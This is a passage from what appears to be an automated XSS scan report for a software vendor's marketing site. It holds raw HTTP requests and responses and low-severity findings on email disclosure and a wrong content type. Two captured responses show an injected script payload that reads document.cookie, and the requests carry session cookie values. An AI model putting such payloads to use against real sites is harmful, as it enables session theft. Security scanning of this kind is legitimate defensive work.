X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8








































       
       <script>alert(document.cookie)</script>d0fc81ffcd5|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>



















































































<body>
<img src="http://www.burstnet.com/enlightn/7214//98DD/" width="0" height="0" border="0">

<table align="center">
   <tr>
       <td>
           <img src="images/SHAV_topBar.jpg"><div id="container">

               <div id="logo">
                   <span id="hello">Welcome!</span>
               </div>

               <img src="images/SHAV_logo.jpg" id="logo">
               <img src="images/SHAV_blackLine.jpg" id="logo">

               <div id="content">

                   <table>

                       <tr>


                               <td valign = "top">
<h1>In Vulnerability Management, Eliminating Risk<br>is the Reward</h1>

<p class="copy">Your organization is constantly at risk.
       Thousands of new IT vulnerabilities emerge each year ... if you fall prey to just one,
       the consequences can be devastating.<br /><br />

       What's the most effective way to manage these risks and protect your organization?
       That's exactly what a new Aberdeen Group Report uncovers. Discover Best-in-Class
       strategies for improving vulnerability management and reducing costs</p>
       <br>
       <a href="download.cfm?nFileID=406" target="_blank" style="padding-left:15px;">Download the Aberdeen Group Vulnerability Management Report now.</a>

</td>
<td valign="center">
<a href="download.cfm?nFileID=406" target="_blank"><img src="images/SHAV_offerGraphic_1A.jpg" style="padding:70px 15px 0px 0px; border:none;"></a>
   <br /><br /><br />

</td>


                       </tr>
                   </table>

               </div>

               <div id="Boxes">
                   <table width="913px" align="center">
                       <tr>
                           <td><a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);"><img src="images/SHAV_BlueWebinar_Btn.jpg" border="none" style="padding:15px 0px 0px 15px;"></a></td>
<td><a href="download.cfm?nFileID=407" target="_blank"><img src="images/SHAV_OrangeCS_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
<td><a href="download.cfm?nFileID=409" target="_blank"><img src="images/SHAV_GreenDwnlod_Btn.jpg" border="none" style="padding:15px 0px 0px 14px;"></a></td>
                       </tr>
                       <tr>
                           <td align="left" class="box-position-left">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Patching Adobe Software: Tips, Secrets and Solutions</h3>

   <p class="copy">Patching Adobe Software: Tips, Secrets and Solutions
Hear from the experts the best practices to keep your network protected
against Adobe vulnerabilities . View our on-demand webinar to learn how.</p>

<a style="cursor: pointer;" onclick="userCheck('http://learn.shavlik.com/shavlik/web-20100331-patching-adobe_6751533.flv',408);" class="boxLink">Watch the Webinar Now</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position">
   <img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>Why WSUS Isn't Enough</h3>

   <p class="copy">Multi-national manufacture PZ Cussons found
   for robust patch management, WSUS wasn't enough.
   Find out how they're saving time, reducing costs and
    gaining control and flexibility in a dynamic IT environment.</p>

<a href="download.cfm?nFileID=407" class="boxLink">Read the PZ Cussons Case Study</a>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

<td align="left" class="box-position-right">
<img src="images/SHAV_boxTop.jpg" style="padding-top: 10px;"><div class ="boxes-inner" style="height:245px;">
   <h3>You're 30 Minutes from Powerful Protection</h3>

   <p class="copy">Discover why thousands of companies trust Shavlik
   to manage their assets, patches and remediation ... including automatic configuration.
   With this FREE trial offer, you'll be up and running in just 30 minutes!</p>

<p class="boxLink"><a href="download.cfm?nFileID=409" target="_blank">Download your FREE 45-Day Trial..now</a></p>

   </div>
   <img src="images/SHAV_boxBottom.jpg">
</td>

                       </tr>
                   </table>
                   <br />
               </div>

               <div id=footer>Shavlik Technologies, LLC | <a href="http://learn.shavlik.com/shavlik/index.cfm?pg=341" target="_blank" >Privacy Policy</a> | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: <a href="mailto:sales@shavlik.com" >sales@shavlik.com</a></div>
            </div>
            <img src="images/SHAV_bottomBar.jpg">
       </td>
   </tr>
</table>

</body>
</html>

</html>

8.4. http://learn.shavlik.com/shavlik/download.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/download.cfm

Issue detail

The following email address was disclosed in the response:

sales@shavlik.com

Request

GET /shavlik/download.cfm?nFileID=0&a=1 HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
Referer: http://learn.shavlik.com/shavlik/index.cfm?m=521&pg=372&h=0&hp=372
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=202100691.944756920.1300711269.1300711269.1300711269.1

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:27:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

























































































































































































































































































































































































































































































           <script language="javascript">
               function windowOpen(sURL, bFade, sWindowName) {

                   if (bFade) {
                       document.getElementById("body").style.backgroundColor = "gray";
                   }

                   sWindowName = sWindowName || "newWindow";

                   nPosX = (window.screen.width/2) - (400);
                   nPosY = (window.screen.height/2) - (350 + 75);

                   newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

                   newWindow.focus();

                   }

           </script>

       <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>
<link rel="stylesheet" href="style/style.css" type="text/css" media="all" />
</head>

<body>

<table align="center">
   <tr>
       <td>
           <img src="images/SHAV_topBar.jpg"><div id="container">

               <div id="logo">
                   <span id="hello"></span>
               </div>

               <img src="images/SHAV_logo.jpg" id="logo">
               <img src="images/SHAV_blackLine.jpg" id="logo">

               <div id="content">

                       <table>
                       <tr>
                           <td colspan="2"><h1></h1></td>
                       </tr>
                       <tr>

   <td>
   <style>
       input {
           width: 200px;
       }

       td {
           font-size: 16px;
           line-height: 20px;

       }

       h3 {
           color:#E41B24; font-weight: bold;
       }

       #rightCol {
           display: none;
       }

       p.label_checkbox_pair {
       clear: both;
       float: none;
       position: relative;
       }
       p.label_checkbox_pair input {
       left: 80px;
       position: absolute;
       top: 1px;
       }
       p.label_checkbox_pair label {
       display: block;
       margin-left: 90px;
       width: 200px;
       }

   </style>

   <script language = "javascript">
       function formSubmit() {

           if (document.getElementById("cFN").value.length < 2) {
               alert("Please Enter a First Name");
               return false;
           }

           else if (document.getElementById("cComp").value.length == 0) {
               alert("Please Enter a Company");
               return false;
           }

           else if (document.getElementById("cTitle").value.length == 0) {
               alert("Please Enter a Title");
               return false;
           }

           else if (document.getElementById("cEmail").value.length == 0) {
               alert("Please Enter an Email Address");
               return false;
           }

           else {
               return true;
           }

       }
   </script>

   <form method = "post" onSubmit="return formSubmit()" style="width: 850px; text-align: left;"><h3>To access content, please provide us the following contact information:</h3>

                   <table width="600">
                       <tr>
                           <td width = "200">Name:</td>
                           <td>
                               <input type = "text" id = "cFN" name = "cFN" value=" ">
                               <input type = "hidden" id = "cLN" name = "cLN" value=""> <span style="color: red;">*</span>
                           </td>
                       </tr>
                       <tr>
                           <td>Organization Name:</td>
                           <td><input type = "text" id = "cComp" name = "cComp" value="" style="width: 200px;"> <span style="color: red;">*</span></td>
                       </tr>
                       <tr>
                           <td>Title:</td>
                           <td><input type = "text" id = "cTitle" name = "cTitle" value=""> <span style="color: red;">*</span></td>
                       </tr>
                       <tr>
                           <td>Email:</td>
                           <td><input type = "text" id = "cEmail" name = "cEmail" value=""> <span style="color: red;">*</span></td>
                       </tr>
                       <tr>
                           <td>Business Phone:</td>
                           <td><input type = "text" id = "cPhone" name = "cPhone" value=""></td>
                       </tr>

                           <tr>
                               <td>Best Day to Call:</td>
                               <td>

                                   <select id ="cBestDay" name="cBestDay">
                                       <option value=""><option value="Monday">Monday</option><option value="Tuesday">Tuesday</option><option value="Wednesday">Wednesday</option><option value="Thursday">Thursday</option><option value="Friday">Friday</option><option value="Saturday">Saturday</option><option value="Sunday">Sunday</option></select>

                               </td>
                           </tr>

                           <tr>
                               <td>Best Time to Call:</td>
                               <td>
                                   <select id ="cBestTime" name="cBestTime">
                                   <option value=""><option value="Morning">Morning</option><option value="Afternoon">Afternoon</option></option>
                                   </select>
                               </td><tr>
                               <td>Contact Me Now:</td>
                               <td align="left">

                               <select id ="cContact" name="cContact">
                                   <option value=""></option>
                                   <option value="1">Yes</option>
                               </select>

                               </td>
                           </tr>

                   </table>
                   <br />
                   <input type = "submit" id = "cSubmit" name = "cSubmit" value="Submit">
                   <input type="hidden" id="d" name="d" value=""><input type="hidden" id="bContAdd" name="bContAdd" value="true">
                   </form></td>


                       </tr>
                   </table>

               </div>

               <div id="Boxes">
                   <table width="913px" align="center">
                       <tr>

                       </tr>
                       <tr>


                       </tr>
                   </table>
                   <br /><br />
               </div>

               <div id=footer>Shavlik Technologies, LLC | Privacy Policy | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: sales@shavlik.com</div>
            </div>
            <img src="images/SHAV_bottomBar.jpg">
       </td>
   </tr>
</table>

</body>
</html>

8.5. http://learn.shavlik.com/shavlik/index.cfm previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/shavlik/index.cfm

Issue detail

The following email addresses were disclosed in the response:

info@shavlik.com
sales@shavlik.com

Request

GET /shavlik/index.cfm?pg=341 HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8









































       
       <script>alert(document.cookie)</script>d0fc81ffcd5|697 -- -->























































































<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Shavlik</title>

<link rel="stylesheet" href="style/style.css" type="text/css" media="all" />

   <script language="javascript" type="text/javascript">
       function windowOpen(sURL, bFade, sWindowName) {

           if (bFade) {
               document.getElementById("body").style.backgroundColor = "gray";
           }

           sWindowName = sWindowName || "newWindow";

           nPosX = (window.screen.width/2) - (400);
           nPosY = (window.screen.height/2) - (350 + 75);

           newWindow = window.open(sURL,sWindowName,"status=0,toolbar=0,scrollbars=1,width=800,height=600,screenX=" + nPosX + ",screenY=" + nPosY);

           newWindow.focus();

           }


   var req;

function docLoad(url) {
   req = false;
// non IE
if(window.XMLHttpRequest && !(window.ActiveXObject)) {
   try {
           req = new XMLHttpRequest();
} catch(e) {
           req = false;
}
// IE
} else if(window.ActiveXObject) {
   try {
   req = new ActiveXObject("Msxml2.XMLHTTP");
   } catch(e) {
   try {
       req = new ActiveXObject("Microsoft.XMLHTTP");
   } catch(e) {
       req = false;
   }
       }
}

   if(req) {
       //req.onreadystatechange = processReqChange;
       req.open("GET", url, false);
       req.send("");

   }

   //req = false;

}

   function downloadRecord(fileID)
   {

           sURL = "download.cfm?nFileID=" + fileID + "&a=1";
           docLoad(sURL);

   }

</script>
<link rel="stylesheet" type="text/css" href="shadowbox/shadowbox.css">
<script type="text/javascript" src="shadowbox/shadowbox.js"></script>
<script type="text/javascript">

function userCheck(sURL,nID) {

   docLoad('userCheck.cfm');

   if (req.responseText == 'num0') {

       Shadowbox.open({
    content: 'download.cfm?nFileID=0&a=1',
    player: "iframe"
    });

       return true;

   }

   else if (sURL.search('.wmv') != -1) {

       Shadowbox.open({
    content: sURL,
    player: "html",
           width: 700,
           height: 570

    });

       downloadRecord(nID);

       return true;

   }

   else {

    Shadowbox.open({
    content: sURL,
    player: "flv",
           width: 640,
           height: 364

    });

       downloadRecord(nID);

       return true;
   }

}

Shadowbox.init({
modal: true

});

</script>

</head>



















































































<body>
<img src="http://www.burstnet.com/enlightn/7214//98DD/" width="0" height="0" border="0">

<table align="center">
   <tr>
       <td>
           <img src="images/SHAV_topBar.jpg"><div id="container">

               <div id="logo">
                   <span id="hello">Welcome!</span>
               </div>

               <img src="images/SHAV_logo.jpg" id="logo">
               <img src="images/SHAV_blackLine.jpg" id="logo">

               <div id="content">

                   <table>

                       <tr>


                               <td>
<h1 style="font-size:35px; padding-top:25px;">Privacy Statement</h1>
<h2 style="margin-left:15px;">Personal information</h2>

<p class="copy">Our Privacy Policy identifies how we treat your personal information. Shavlik collects individual information during product download registration or web scanner initiation including, but not limited to your first name, last name, company affiliation, physical address, e-mail address and other contact information. Shavlik reserves the right to transfer information provided to us with our business partners for marketing purposes. We will not sell personal information.</p>

<p class="copy">Our sites collect usage statistics but not personal information about the systems you are using. We do not use cookies to collect any information about your browsing preferences.</p>
<p class="copy" >You may choose whether or not to provide personal information to Shavlik and you may opt-in or opt-out of receiving information from Shavlik. Certain areas of our web site may be inaccessible to you if you choose not to provide requested information.</p>

<h2 style="margin-left:15px;">Data Security</h2>
<p class="copy">We intend to take reasonable and appropriate steps to protect the personal information you have may provide to us via our site. We continuously verify our security measures to keep our visitor and customer information secure.</p>
<h2 style="margin-left:15px;">Links</h2>

<p class="copy">This site contains links to other sites that provide information on computer security that we consider to be interesting. Shavlik is not responsible for the privacy practices or the content of such Web sites.</p>
<h2 style="margin-left:15px;">Public Discussions</h2>
<p class="copy">This site may provide public discussions on security topics. Please note that any information you post in these discussions will become public. Shavlik does not agree or disagree with anything posted on the discussion board. Please do not post sensitive information in the public discussions.</p>
<h2 style="margin-left:15px;">Changes</h2>
<p class="copy">Shavlik reserves the right to modify this statement at any time. Any changes to the commitment to security and privacy of your information will be posted in the Shavlik Privacy Policy. If you have any questions about privacy at Shavlik or about our website practices, please contact us at: <a href="mailto:info@shavlik.com">info@shavlik.com</a> or call us at 1-651-426-6624.</p>

</td>


                       </tr>
                   </table>

               </div>

               <div id="Boxes">
                   <table width="913px" align="center">
                       <tr>

                       </tr>
                       <tr>


                       </tr>
                   </table>
                   <br />
               </div>

               <div id=footer>Shavlik Technologies, LLC | <a href="http://learn.shavlik.com/shavlik/index.cfm?pg=341" target="_blank" >Privacy Policy</a> | Direct: (800) 690-6911, (651) 426-6624; Fax: (651) 426-3345; Support: (866) 407-5279; Email: <a href="mailto:sales@shavlik.com" >sales@shavlik.com</a></div>
            </div>
            <img src="images/SHAV_bottomBar.jpg">
       </td>
   </tr>
</table>

</body>
</html>

</html>

9. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://learn.shavlik.com
Path:	/shavlik/userCheck.cfm

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /shavlik/userCheck.cfm HTTP/1.1
Host: learn.shavlik.com
Proxy-Connection: keep-alive
Referer: http://learn.shavlik.com/shavlik/index.cfm?m=521&pg=372&h=0&hp=372
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=610666; CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=202100691.944756920.1300711269.1300711269.1300711269.1

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:27:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

num0

Report generated by XSS.CX at Wed Mar 23 20:26:14 CDT 2011.